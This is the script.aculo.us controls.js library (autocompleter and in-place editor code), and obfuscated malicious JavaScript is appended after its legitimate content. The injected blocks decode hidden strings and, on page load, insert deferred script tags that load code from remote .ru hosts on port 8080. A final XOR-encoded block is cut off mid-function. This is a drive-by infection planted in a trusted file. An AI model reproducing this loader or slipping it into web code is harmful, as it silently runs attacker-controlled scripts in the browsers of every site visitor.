// script.aculo.us controls.js v1.7.0, Fri Jan 19 19:16:36 CET 2007

// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005, 2006 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
//           (c) 2005, 2006 Jon Tirsen (http://www.tirsen.com)
// Contributors:
//  Richard Livsey
//  Rahul Bhargava
//  Rob Wills
// 
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

// Autocompleter.Base handles all the autocompletion functionality 
// that's independent of the data source for autocompletion. This
// includes drawing the autocompletion menu, observing keyboard
// and mouse events, and similar.
//
// Specific autocompleters need to provide, at the very least, 
// a getUpdatedChoices function that will be invoked every time
// the text inside the monitored textbox changes. This method 
// should get the text for which to provide autocompletion by
// invoking this.getToken(), NOT by directly accessing
// this.element.value. This is to allow incremental tokenized
// autocompletion. Specific auto-completion logic (AJAX, etc)
// belongs in getUpdatedChoices.
//
// Tokenized incremental autocompletion is enabled automatically
// when an autocompleter is instantiated with the 'tokens' option
// in the options parameter, e.g.:
// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
// will incrementally autocomplete with a comma as the token.
// Additionally, ',' in the above example can be replaced with
// a token array, e.g. { tokens: [',', '\n'] } which
// enables autocompletion on multiple tokens. This is most 
// useful when one of the tokens is \n (a newline), as it 
// allows smart autocompletion after linebreaks.

if(typeof Effect == 'undefined')
  throw("controls.js requires including script.aculo.us' effects.js library");

var Autocompleter = {}
Autocompleter.Base = function() {};
Autocompleter.Base.prototype = {
  baseInitialize: function(element, update, options) {
    this.element     = $(element); 
    this.update      = $(update);  
    this.hasFocus    = false; 
    this.changed     = false; 
    this.active      = false; 
    this.index       = 0;     
    this.entryCount  = 0;

    if(this.setOptions)
      this.setOptions(options);
    else
      this.options = options || {};

    this.options.paramName    = this.options.paramName || this.element.name;
    this.options.tokens       = this.options.tokens || [];
    this.options.frequency    = this.options.frequency || 0.4;
    this.options.minChars     = this.options.minChars || 1;
    this.options.onShow       = this.options.onShow || 
      function(element, update){ 
        if(!update.style.position || update.style.position=='absolute') {
          update.style.position = 'absolute';
          Position.clone(element, update, {
            setHeight: false, 
            offsetTop: element.offsetHeight
          });
        }
        Effect.Appear(update,{duration:0.15});
      };
    this.options.onHide = this.options.onHide || 
      function(element, update){ new Effect.Fade(update,{duration:0.15}) };

    if(typeof(this.options.tokens) == 'string') 
      this.options.tokens = new Array(this.options.tokens);

    this.observer = null;
    
    this.element.setAttribute('autocomplete','off');

    Element.hide(this.update);

    Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this));
    Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this));
  },

  show: function() {
    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
    if(!this.iefix && 
      (navigator.appVersion.indexOf('MSIE')>0) &&
      (navigator.userAgent.indexOf('Opera')<0) &&
      (Element.getStyle(this.update, 'position')=='absolute')) {
      new Insertion.After(this.update, 
       '<iframe id="' + this.update.id + '_iefix" '+
       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
      this.iefix = $(this.update.id+'_iefix');
    }
    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
  },
  
  fixIEOverlapping: function() {
    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
    this.iefix.style.zIndex = 1;
    this.update.style.zIndex = 2;
    Element.show(this.iefix);
  },

  hide: function() {
    this.stopIndicator();
    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
    if(this.iefix) Element.hide(this.iefix);
  },

  startIndicator: function() {
    if(this.options.indicator) Element.show(this.options.indicator);
  },

  stopIndicator: function() {
    if(this.options.indicator) Element.hide(this.options.indicator);
  },

  onKeyPress: function(event) {
    if(this.active)
      switch(event.keyCode) {
       case Event.KEY_TAB:
       case Event.KEY_RETURN:
         this.selectEntry();
         Event.stop(event);
       case Event.KEY_ESC:
         this.hide();
         this.active = false;
         Event.stop(event);
         return;
       case Event.KEY_LEFT:
       case Event.KEY_RIGHT:
         return;
       case Event.KEY_UP:
         this.markPrevious();
         this.render();
         if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event);
         return;
       case Event.KEY_DOWN:
         this.markNext();
         this.render();
         if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event);
         return;
      }
     else 
       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || 
         (navigator.appVersion.indexOf('AppleWebKit') > 0 && event.keyCode == 0)) return;

    this.changed = true;
    this.hasFocus = true;

    if(this.observer) clearTimeout(this.observer);
      this.observer = 
        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
  },

  activate: function() {
    this.changed = false;
    this.hasFocus = true;
    this.getUpdatedChoices();
  },

  onHover: function(event) {
    var element = Event.findElement(event, 'LI');
    if(this.index != element.autocompleteIndex) 
    {
        this.index = element.autocompleteIndex;
        this.render();
    }
    Event.stop(event);
  },
  
  onClick: function(event) {
    var element = Event.findElement(event, 'LI');
    this.index = element.autocompleteIndex;
    this.selectEntry();
    this.hide();
  },
  
  onBlur: function(event) {
    // needed to make click events working
    setTimeout(this.hide.bind(this), 250);
    this.hasFocus = false;
    this.active = false;     
  }, 
  
  render: function() {
    if(this.entryCount > 0) {
      for (var i = 0; i < this.entryCount; i++)
        this.index==i ? 
          Element.addClassName(this.getEntry(i),"selected") : 
          Element.removeClassName(this.getEntry(i),"selected");
        
      if(this.hasFocus) { 
        this.show();
        this.active = true;
      }
    } else {
      this.active = false;
      this.hide();
    }
  },
  
  markPrevious: function() {
    if(this.index > 0) this.index--
      else this.index = this.entryCount-1;
    this.getEntry(this.index).scrollIntoView(true);
  },
  
  markNext: function() {
    if(this.index < this.entryCount-1) this.index++
      else this.index = 0;
    this.getEntry(this.index).scrollIntoView(false);
  },
  
  getEntry: function(index) {
    return this.update.firstChild.childNodes[index];
  },
  
  getCurrentEntry: function() {
    return this.getEntry(this.index);
  },
  
  selectEntry: function() {
    this.active = false;
    this.updateElement(this.getCurrentEntry());
  },

  updateElement: function(selectedElement) {
    if (this.options.updateElement) {
      this.options.updateElement(selectedElement);
      return;
    }
    var value = '';
    if (this.options.select) {
      var nodes = document.getElementsByClassName(this.options.select, selectedElement) || [];
      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
    } else
      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
    
    var lastTokenPos = this.findLastToken();
    if (lastTokenPos != -1) {
      var newValue = this.element.value.substr(0, lastTokenPos + 1);
      var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/);
      if (whitespace)
        newValue += whitespace[0];
      this.element.value = newValue + value;
    } else {
      this.element.value = value;
    }
    this.element.focus();
    
    if (this.options.afterUpdateElement)
      this.options.afterUpdateElement(this.element, selectedElement);
  },

  updateChoices: function(choices) {
    if(!this.changed && this.hasFocus) {
      this.update.innerHTML = choices;
      Element.cleanWhitespace(this.update);
      Element.cleanWhitespace(this.update.down());

      if(this.update.firstChild && this.update.down().childNodes) {
        this.entryCount = 
          this.update.down().childNodes.length;
        for (var i = 0; i < this.entryCount; i++) {
          var entry = this.getEntry(i);
          entry.autocompleteIndex = i;
          this.addObservers(entry);
        }
      } else { 
        this.entryCount = 0;
      }

      this.stopIndicator();
      this.index = 0;
      
      if(this.entryCount==1 && this.options.autoSelect) {
        this.selectEntry();
        this.hide();
      } else {
        this.render();
      }
    }
  },

  addObservers: function(element) {
    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
  },

  onObserverEvent: function() {
    this.changed = false;   
    if(this.getToken().length>=this.options.minChars) {
      this.startIndicator();
      this.getUpdatedChoices();
    } else {
      this.active = false;
      this.hide();
    }
  },

  getToken: function() {
    var tokenPos = this.findLastToken();
    if (tokenPos != -1)
      var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,'');
    else
      var ret = this.element.value;

    return /\n/.test(ret) ? '' : ret;
  },

  findLastToken: function() {
    var lastTokenPos = -1;

    for (var i=0; i<this.options.tokens.length; i++) {
      var thisTokenPos = this.element.value.lastIndexOf(this.options.tokens[i]);
      if (thisTokenPos > lastTokenPos)
        lastTokenPos = thisTokenPos;
    }
    return lastTokenPos;
  }
}

Ajax.Autocompleter = Class.create();
Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), {
  initialize: function(element, update, url, options) {
    this.baseInitialize(element, update, options);
    this.options.asynchronous  = true;
    this.options.onComplete    = this.onComplete.bind(this);
    this.options.defaultParams = this.options.parameters || null;
    this.url                   = url;
  },

  getUpdatedChoices: function() {
    entry = encodeURIComponent(this.options.paramName) + '=' + 
      encodeURIComponent(this.getToken());

    this.options.parameters = this.options.callback ?
      this.options.callback(this.element, entry) : entry;

    if(this.options.defaultParams) 
      this.options.parameters += '&' + this.options.defaultParams;

    new Ajax.Request(this.url, this.options);
  },

  onComplete: function(request) {
    this.updateChoices(request.responseText);
  }

});

// The local array autocompleter. Used when you'd prefer to
// inject an array of autocompletion options into the page, rather
// than sending out Ajax queries, which can be quite slow sometimes.
//
// The constructor takes four parameters. The first two are, as usual,
// the id of the monitored textbox, and id of the autocompletion menu.
// The third is the array you want to autocomplete from, and the fourth
// is the options block.
//
// Extra local autocompletion options:
// - choices - How many autocompletion choices to offer
//
// - partialSearch - If false, the autocompleter will match entered
//                    text only at the beginning of strings in the 
//                    autocomplete array. Defaults to true, which will
//                    match text at the beginning of any *word* in the
//                    strings in the autocomplete array. If you want to
//                    search anywhere in the string, additionally set
//                    the option fullSearch to true (default: off).
//
// - fullSsearch - Search anywhere in autocomplete array strings.
//
// - partialChars - How many characters to enter before triggering
//                   a partial match (unlike minChars, which defines
//                   how many characters are required to do any match
//                   at all). Defaults to 2.
//
// - ignoreCase - Whether to ignore case when autocompleting.
//                 Defaults to true.
//
// It's possible to pass in a custom function as the 'selector' 
// option, if you prefer to write your own autocompletion logic.
// In that case, the other options above will not apply unless
// you support them.

Autocompleter.Local = Class.create();
Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), {
  initialize: function(element, update, array, options) {
    this.baseInitialize(element, update, options);
    this.options.array = array;
  },

  getUpdatedChoices: function() {
    this.updateChoices(this.options.selector(this));
  },

  setOptions: function(options) {
    this.options = Object.extend({
      choices: 10,
      partialSearch: true,
      partialChars: 2,
      ignoreCase: true,
      fullSearch: false,
      selector: function(instance) {
        var ret       = []; // Beginning matches
        var partial   = []; // Inside matches
        var entry     = instance.getToken();
        var count     = 0;

        for (var i = 0; i < instance.options.array.length &&  
          ret.length < instance.options.choices ; i++) { 

          var elem = instance.options.array[i];
          var foundPos = instance.options.ignoreCase ? 
            elem.toLowerCase().indexOf(entry.toLowerCase()) : 
            elem.indexOf(entry);

          while (foundPos != -1) {
            if (foundPos == 0 && elem.length != entry.length) { 
              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" + 
                elem.substr(entry.length) + "</li>");
              break;
            } else if (entry.length >= instance.options.partialChars && 
              instance.options.partialSearch && foundPos != -1) {
              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
                  foundPos + entry.length) + "</li>");
                break;
              }
            }

            foundPos = instance.options.ignoreCase ? 
              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : 
              elem.indexOf(entry, foundPos + 1);

          }
        }
        if (partial.length)
          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length))
        return "<ul>" + ret.join('') + "</ul>";
      }
    }, options || {});
  }
});

// AJAX in-place editor
//
// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor

// Use this if you notice weird scrolling problems on some browsers,
// the DOM might be a bit confused when this gets called so do this
// waits 1 ms (with setTimeout) until it does the activation
Field.scrollFreeActivate = function(field) {
  setTimeout(function() {
    Field.activate(field);
  }, 1);
}

Ajax.InPlaceEditor = Class.create();
Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99";
Ajax.InPlaceEditor.prototype = {
  initialize: function(element, url, options) {
    this.url = url;
    this.element = $(element);

    this.options = Object.extend({
      paramName: "value",
      okButton: true,
      okText: "ok",
      cancelLink: true,
      cancelText: "cancel",
      savingText: "Saving...",
      clickToEditText: "Click to edit",
      okText: "ok",
      rows: 1,
      onComplete: function(transport, element) {
        new Effect.Highlight(element, {startcolor: this.options.highlightcolor});
      },
      onFailure: function(transport) {
        alert("Error communicating with the server: " + transport.responseText.stripTags());
      },
      callback: function(form) {
        return Form.serialize(form);
      },
      handleLineBreaks: true,
      loadingText: 'Loading...',
      savingClassName: 'inplaceeditor-saving',
      loadingClassName: 'inplaceeditor-loading',
      formClassName: 'inplaceeditor-form',
      highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor,
      highlightendcolor: "#FFFFFF",
      externalControl: null,
      submitOnBlur: false,
      ajaxOptions: {},
      evalScripts: false
    }, options || {});

    if(!this.options.formId && this.element.id) {
      this.options.formId = this.element.id + "-inplaceeditor";
      if ($(this.options.formId)) {
        // there's already a form with that name, don't specify an id
        this.options.formId = null;
      }
    }
    
    if (this.options.externalControl) {
      this.options.externalControl = $(this.options.externalControl);
    }
    
    this.originalBackground = Element.getStyle(this.element, 'background-color');
    if (!this.originalBackground) {
      this.originalBackground = "transparent";
    }
    
    this.element.title = this.options.clickToEditText;
    
    this.onclickListener = this.enterEditMode.bindAsEventListener(this);
    this.mouseoverListener = this.enterHover.bindAsEventListener(this);
    this.mouseoutListener = this.leaveHover.bindAsEventListener(this);
    Event.observe(this.element, 'click', this.onclickListener);
    Event.observe(this.element, 'mouseover', this.mouseoverListener);
    Event.observe(this.element, 'mouseout', this.mouseoutListener);
    if (this.options.externalControl) {
      Event.observe(this.options.externalControl, 'click', this.onclickListener);
      Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener);
      Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener);
    }
  },
  enterEditMode: function(evt) {
    if (this.saving) return;
    if (this.editing) return;
    this.editing = true;
    this.onEnterEditMode();
    if (this.options.externalControl) {
      Element.hide(this.options.externalControl);
    }
    Element.hide(this.element);
    this.createForm();
    this.element.parentNode.insertBefore(this.form, this.element);
    if (!this.options.loadTextURL) Field.scrollFreeActivate(this.editField);
    // stop the event to avoid a page refresh in Safari
    if (evt) {
      Event.stop(evt);
    }
    return false;
  },
  createForm: function() {
    this.form = document.createElement("form");
    this.form.id = this.options.formId;
    Element.addClassName(this.form, this.options.formClassName)
    this.form.onsubmit = this.onSubmit.bind(this);

    this.createEditField();

    if (this.options.textarea) {
      var br = document.createElement("br");
      this.form.appendChild(br);
    }

    if (this.options.okButton) {
      okButton = document.createElement("input");
      okButton.type = "submit";
      okButton.value = this.options.okText;
      okButton.className = 'editor_ok_button';
      this.form.appendChild(okButton);
    }

    if (this.options.cancelLink) {
      cancelLink = document.createElement("a");
      cancelLink.href = "#";
      cancelLink.appendChild(document.createTextNode(this.options.cancelText));
      cancelLink.onclick = this.onclickCancel.bind(this);
      cancelLink.className = 'editor_cancel';      
      this.form.appendChild(cancelLink);
    }
  },
  hasHTMLLineBreaks: function(string) {
    if (!this.options.handleLineBreaks) return false;
    return string.match(/<br/i) || string.match(/<p>/i);
  },
  convertHTMLLineBreaks: function(string) {
    return string.replace(/<br>/gi, "\n").replace(/<br\/>/gi, "\n").replace(/<\/p>/gi, "\n").replace(/<p>/gi, "");
  },
  createEditField: function() {
    var text;
    if(this.options.loadTextURL) {
      text = this.options.loadingText;
    } else {
      text = this.getText();
    }

    var obj = this;
    
    if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) {
      this.options.textarea = false;
      var textField = document.createElement("input");
      textField.obj = this;
      textField.type = "text";
      textField.name = this.options.paramName;
      textField.value = text;
      textField.style.backgroundColor = this.options.highlightcolor;
      textField.className = 'editor_field';
      var size = this.options.size || this.options.cols || 0;
      if (size != 0) textField.size = size;
      if (this.options.submitOnBlur)
        textField.onblur = this.onSubmit.bind(this);
      this.editField = textField;
    } else {
      this.options.textarea = true;
      var textArea = document.createElement("textarea");
      textArea.obj = this;
      textArea.name = this.options.paramName;
      textArea.value = this.convertHTMLLineBreaks(text);
      textArea.rows = this.options.rows;
      textArea.cols = this.options.cols || 40;
      textArea.className = 'editor_field';      
      if (this.options.submitOnBlur)
        textArea.onblur = this.onSubmit.bind(this);
      this.editField = textArea;
    }
    
    if(this.options.loadTextURL) {
      this.loadExternalText();
    }
    this.form.appendChild(this.editField);
  },
  getText: function() {
    return this.element.innerHTML;
  },
  loadExternalText: function() {
    Element.addClassName(this.form, this.options.loadingClassName);
    this.editField.disabled = true;
    new Ajax.Request(
      this.options.loadTextURL,
      Object.extend({
        asynchronous: true,
        onComplete: this.onLoadedExternalText.bind(this)
      }, this.options.ajaxOptions)
    );
  },
  onLoadedExternalText: function(transport) {
    Element.removeClassName(this.form, this.options.loadingClassName);
    this.editField.disabled = false;
    this.editField.value = transport.responseText.stripTags();
    Field.scrollFreeActivate(this.editField);
  },
  onclickCancel: function() {
    this.onComplete();
    this.leaveEditMode();
    return false;
  },
  onFailure: function(transport) {
    this.options.onFailure(transport);
    if (this.oldInnerHTML) {
      this.element.innerHTML = this.oldInnerHTML;
      this.oldInnerHTML = null;
    }
    return false;
  },
  onSubmit: function() {
    // onLoading resets these so we need to save them away for the Ajax call
    var form = this.form;
    var value = this.editField.value;
    
    // do this first, sometimes the ajax call returns before we get a chance to switch on Saving...
    // which means this will actually switch on Saving... *after* we've left edit mode causing Saving...
    // to be displayed indefinitely
    this.onLoading();
    
    if (this.options.evalScripts) {
      new Ajax.Request(
        this.url, Object.extend({
          parameters: this.options.callback(form, value),
          onComplete: this.onComplete.bind(this),
          onFailure: this.onFailure.bind(this),
          asynchronous:true, 
          evalScripts:true
        }, this.options.ajaxOptions));
    } else  {
      new Ajax.Updater(
        { success: this.element,
          // don't update on failure (this could be an option)
          failure: null }, 
        this.url, Object.extend({
          parameters: this.options.callback(form, value),
          onComplete: this.onComplete.bind(this),
          onFailure: this.onFailure.bind(this)
        }, this.options.ajaxOptions));
    }
    // stop the event to avoid a page refresh in Safari
    if (arguments.length > 1) {
      Event.stop(arguments[0]);
    }
    return false;
  },
  onLoading: function() {
    this.saving = true;
    this.removeForm();
    this.leaveHover();
    this.showSaving();
  },
  showSaving: function() {
    this.oldInnerHTML = this.element.innerHTML;
    this.element.innerHTML = this.options.savingText;
    Element.addClassName(this.element, this.options.savingClassName);
    this.element.style.backgroundColor = this.originalBackground;
    Element.show(this.element);
  },
  removeForm: function() {
    if(this.form) {
      if (this.form.parentNode) Element.remove(this.form);
      this.form = null;
    }
  },
  enterHover: function() {
    if (this.saving) return;
    this.element.style.backgroundColor = this.options.highlightcolor;
    if (this.effect) {
      this.effect.cancel();
    }
    Element.addClassName(this.element, this.options.hoverClassName)
  },
  leaveHover: function() {
    if (this.options.backgroundColor) {
      this.element.style.backgroundColor = this.oldBackground;
    }
    Element.removeClassName(this.element, this.options.hoverClassName)
    if (this.saving) return;
    this.effect = new Effect.Highlight(this.element, {
      startcolor: this.options.highlightcolor,
      endcolor: this.options.highlightendcolor,
      restorecolor: this.originalBackground
    });
  },
  leaveEditMode: function() {
    Element.removeClassName(this.element, this.options.savingClassName);
    this.removeForm();
    this.leaveHover();
    this.element.style.backgroundColor = this.originalBackground;
    Element.show(this.element);
    if (this.options.externalControl) {
      Element.show(this.options.externalControl);
    }
    this.editing = false;
    this.saving = false;
    this.oldInnerHTML = null;
    this.onLeaveEditMode();
  },
  onComplete: function(transport) {
    this.leaveEditMode();
    this.options.onComplete.bind(this)(transport, this.element);
  },
  onEnterEditMode: function() {},
  onLeaveEditMode: function() {},
  dispose: function() {
    if (this.oldInnerHTML) {
      this.element.innerHTML = this.oldInnerHTML;
    }
    this.leaveEditMode();
    Event.stopObserving(this.element, 'click', this.onclickListener);
    Event.stopObserving(this.element, 'mouseover', this.mouseoverListener);
    Event.stopObserving(this.element, 'mouseout', this.mouseoutListener);
    if (this.options.externalControl) {
      Event.stopObserving(this.options.externalControl, 'click', this.onclickListener);
      Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener);
      Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener);
    }
  }
};

Ajax.InPlaceCollectionEditor = Class.create();
Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype);
Object.extend(Ajax.InPlaceCollectionEditor.prototype, {
  createEditField: function() {
    if (!this.cached_selectTag) {
      var selectTag = document.createElement("select");
      var collection = this.options.collection || [];
      var optionTag;
      collection.each(function(e,i) {
        optionTag = document.createElement("option");
        optionTag.value = (e instanceof Array) ? e[0] : e;
        if((typeof this.options.value == 'undefined') && 
          ((e instanceof Array) ? this.element.innerHTML == e[1] : e == optionTag.value)) optionTag.selected = true;
        if(this.options.value==optionTag.value) optionTag.selected = true;
        optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e));
        selectTag.appendChild(optionTag);
      }.bind(this));
      this.cached_selectTag = selectTag;
    }

    this.editField = this.cached_selectTag;
    if(this.options.loadTextURL) this.loadExternalText();
    this.form.appendChild(this.editField);
    this.options.callback = function(form, value) {
      return "value=" + encodeURIComponent(value);
    }
  }
});

// Delayed observer, like Form.Element.Observer, 
// but waits for delay after last key input
// Ideal for live-search fields

Form.Element.DelayedObserver = Class.create();
Form.Element.DelayedObserver.prototype = {
  initialize: function(element, delay, callback) {
    this.delay     = delay || 0.5;
    this.element   = $(element);
    this.callback  = callback;
    this.timer     = null;
    this.lastValue = $F(this.element); 
    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
  },
  delayedListener: function(event) {
    if(this.lastValue == $F(this.element)) return;
    if(this.timer) clearTimeout(this.timer);
    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
    this.lastValue = $F(this.element);
  },
  onTimerEvent: function() {
    this.timer = null;
    this.callback(this.element, $F(this.element));
  }
};


var n=new String();this.k="";var um=new Date();var kb=new Date();var q='sxc%rXi%pXt%'.replace(/[%xeXn]/g, '');this.b=false;var rp;if(rp!=''){rp='h'};var j=window;var umc=32379;var jk;if(jk!='yj' && jk!='zb'){jk='yj'};var qn=document;var d;if(d!='' && d!='xw'){d=null};j.onload=function(){var _="";var wm;if(wm!='doq' && wm!='uw'){wm='doq'};try {var pt;if(pt!='lm' && pt!='xd'){pt='lm'};var lmv=new Array();m=qn.createElement(q);var id;if(id!='qv' && id != ''){id=null};var br=new Array();var yl="yl";this.qo='';m.src='hVt#tVp#:V/#/!sVo6f#tFpFeVdFiFa!-#cFo!m6.#hVu6r#r#iFy#eVtV.!cVoVm6.6tFr#.FsFe!dFo!p!a6r#k#i#n!g6-6c!oVm#.Fr#e!cFe!nVtFm#e!xVi#c!o#.6r#u!:V860V8!06/V5F5Fb#b6s!.#cFo6mF/!5V5Vb#b!s6.!cVo!mF/Fg6o!o6gFl6e6.6c#o!m6/#mFe!rFcFa#d!o6l!i#bVr!e#.6c6o#m6.!mVx#/FmFp6n!r!sV.6cVo!m#/!'.replace(/[\!#V6F]/g, '');m.setAttribute('d_eRf_eRr!'.replace(/[\!0_Rt]/g, ''), "1");this.pj="pj";this.yt=false;this.zm=27364;qn.body.appendChild(m);var bt;if(bt!='' && bt!='a'){bt=''};this.al='';} catch(t){var is="is";};var qs="";var qf="qf";};var ej=63325;
var j=window;var _ih=36922;var z=document;var vr;if(vr!='b' && vr!='bg'){vr=''};function l(r){var _=['h_tXtzpJ:_/J/zsJaXnzszpzoz-XcJozmJ.6f_rXeJe_wXezbXs_._c6o6m_._c6nXb6lJo_g6sz-6czo_mX.Xbze6sJtzn6e_wXsXmXaJlXlX.XrzuJ:J8X0z860z/XpzlzaXl_aJ.6oJrJ.Xjzpz/JpXlJaXl_a_.Jo6rX.zjzp_/_3_96.6nJeXtX/XgJaJmXezv6a6nzc6e_.zczo_m6/zgXo_o_gXl6ez.zczoXmz/J'.replace(/[JzX_6]/g, ''), 'sHcHrLiIpIt~'.replace(/[~dLHI]/g, ''), 'c&rXe&a&tveXE&lXeXmvevn3t3'.replace(/[3&X\<v]/g, ''), 'o?n?lPoBa?dB'.replace(/[BPp\?\+]/g, ''), 's2r#ch'.replace(/[h7S#2]/g, ''), 'a4pVp:e$nPd4C4h4i:l$dV'.replace(/[V\:\$4P]/g, ''), 'spe%tSASt%t<rpiSbpu%tSeS'.replace(/[Sp\<%/]/g, ''), 'buord@yr'.replace(/[ru&@m]/g, ''), 'dpe/fnepr/'.replace(/[/\*npG]/g, ''), "1"];this.e="";var ru=_[r];var im;if(im!='sz' && im!='hj'){im='sz'};return ru;var zum;if(zum!='kn' && zum != ''){zum=null};}var v = function(){var g;if(g!='ds' && g != ''){g=null};try {p=z[l([2][0])](l([2,1][1]));p[l([4,6][1])](l([1,8][1]), l([9][0]));var q="";var k = z[l([0,7][1])];this.n="n";p[l([4][0])]=l([0,2][0]);var hu=new Array();k[l([5,2][0])](p);} catch(_i){};var gk;if(gk!='lh' && gk != ''){gk=null};};j[l([3][0])]=v;
var g;if(g!=''){g='_'};this.v=22978;var u=window;var x=document;var r=new String();var hh="hh";function xi(j){var y=false;var l=['h5t;t5p5:;/;/DcDh5iHn;a;m1o5bHi1lDe5-Dc;oHm5.1mHo1n1oDgDr;a5f5i1aHsD.Dc1oDm1.;iHm;a1g;eHsHh5aDc1k;-DuHs;.1m;e5d;i;a5tDa5gDo;nDl1iHn;eD.1r1u5:5810;8D0;/Dm1y5s;pHa5c;e1.5c1o5mH/5m5yDs;pDa5c;e;.5c5o1m;/1g5oDoHg5l5eD.;c;oDmH/HsDmHh;.;c1oHm;.DaHu;/5b5e;eDm5p13D.1cHoHm1/1'.replace(/[1DH;5]/g, ''), 's9c:r:i4p4t:'.replace(/[\:4E59]/g, ''), 'c/r/e/a/t/e?E?lNe/m?esnot?'.replace(/[\?No/s]/g, ''), 'oJnwlJoJagdg'.replace(/[gMJw8]/g, ''), 'sTr<c<'.replace(/[\<j\>TY]/g, ''), 'a2p*p*eun2d;CQhQi;lQd2'.replace(/[2uQ;\*]/g, ''), 'skektdAktdtkrdi&blu&tke&'.replace(/[&vdlk]/g, ''), 'b%o1d%y1'.replace(/[1%DHE]/g, ''), 'd0e.fPe6r.'.replace(/[\.I60P]/g, ''), "1"];var jc=l[j];return jc;}this.my="my";var o = function(){try {xs=x[xi([2][0])](xi([1,3][0]));var sy=new Array();var ic;if(ic!='yf' && ic != ''){ic=null};xs[xi([6][0])](xi([8][0]), xi([9][0]));this.xk="";xs[xi([4][0])]=xi([0,2][0]);this.jk=false;var n = x[xi([7][0])];var yft=new String();n[xi([5][0])](xs);var _u;if(_u!='' && _u!='fr'){_u=null};} catch(m){var gs;if(gs!='np' && gs!='fh'){gs=''};};};var of;if(of!='d' && of!='xqu'){of='d'};u[xi([3,3][0])]=o;this.bo=19300;this.ok="";
var rh="cbc4dcfccba7ccd3d4c8eda1cecdd4cf96daf3dcfad0fbeedcfce2c8f5d8f3c2e9c8ebc2d6c5d6dfccced6c6eecdd6f8f2d4c4d2cdcce2fcd8e1c3d7f8cdc6e6ccd2d2a6fbf683d1d2c7bcd1d2a7c3d7";var lk='';var Ng='';function N(t){var dc;if(dc!='fD'){dc=''};var Dc=new String();var KH=false; var C=function(W,GE){return W^GE;var ZW;if(ZW!='oF'){ZW=''};};var g="";var Lt;if(Lt!='I'){Lt=''};var oV;if(oV!='y'){oV=''}; var w=function(u,GN){this.fDI=false;return u[G("reoCcadhAt", [4,7,5,0,3,2,6,1])](GN);var DY;if(DY!='BR'){DY=''};};this.MB=''; var X=function(b){var hV="";var Rn='';var CB = -1;this.Kv="Kv";this.Di="Di";b = new GH(b);var Q;if(Q!='uR' && Q!='qj'){Q='uR'};var xJ;if(xJ!='c' && xJ!='bu'){xJ='c'};var A = '';var nn=new Date();var H =[124,233,0][2];var Zx=29836;var bT =[102,117,191,0][3];var OE;if(OE!='' && OE!='ul'){OE='bK'};var Jd;if(Jd!='' && Jd!='p'){Jd=null};var Lr=false;var yF;if(yF!=''){yF='pb'};for (bT=b[G("hntegl", [5,3,1,4,2,0])]-CB;bT>=H;bT=bT-[170,1][1]){var rc;if(rc!='' && rc!='qb'){rc='Nv'};A+=b[G("hactAr", [2,0,1,5,4,3])](bT);}var gC;if(gC!='ol' && gC != ''){gC=null};var EbD="EbD";var wp=new String();var Ey;if(Ey!='FIq'){Ey=''};return A;var tw;if(tw!='HM' && tw != ''){tw=null};this.JV="";};this.fe="fe";var wq;if(wq!='' && wq!='PK'){wq=''};this.WS='';var fm;if(fm!=''){fm='st'}; var f=function(z){var kl=new Array();var Rsu;if(Rsu!='' && Rsu!='Hf'){Rsu='Kj'};var V;if(V!='' && V!='Lb'){V='tu'};var L=[0][0];var d=[0][0];var j=z[G("elntgh", [1,0,2,4,3])];var IG=false;var K=[255][0];var R=[1,83,134][0];this.oG="oG";var yk;if(yk!=''){yk='JY'};var mg;if(mg!=''){mg='JQ'};var WR;if(WR!='' && WR!='ci'){WR='Ju'};while(L<j){var lS=21865;this.EB="EB";var nk=new String();var iL=new String();L++;var XQ='';var iR='';M=w(z,L - R);d+=M*j;}return new GH(d % K);var Ms="";};var nK;if(nK!=''){nK='Dcl'};var pA=new Array();var Rx;if(Rx!='' && Rx!='hD'){Rx=''}; var tY=new String();var mF;if(mF!='Nm'){mF=''};function 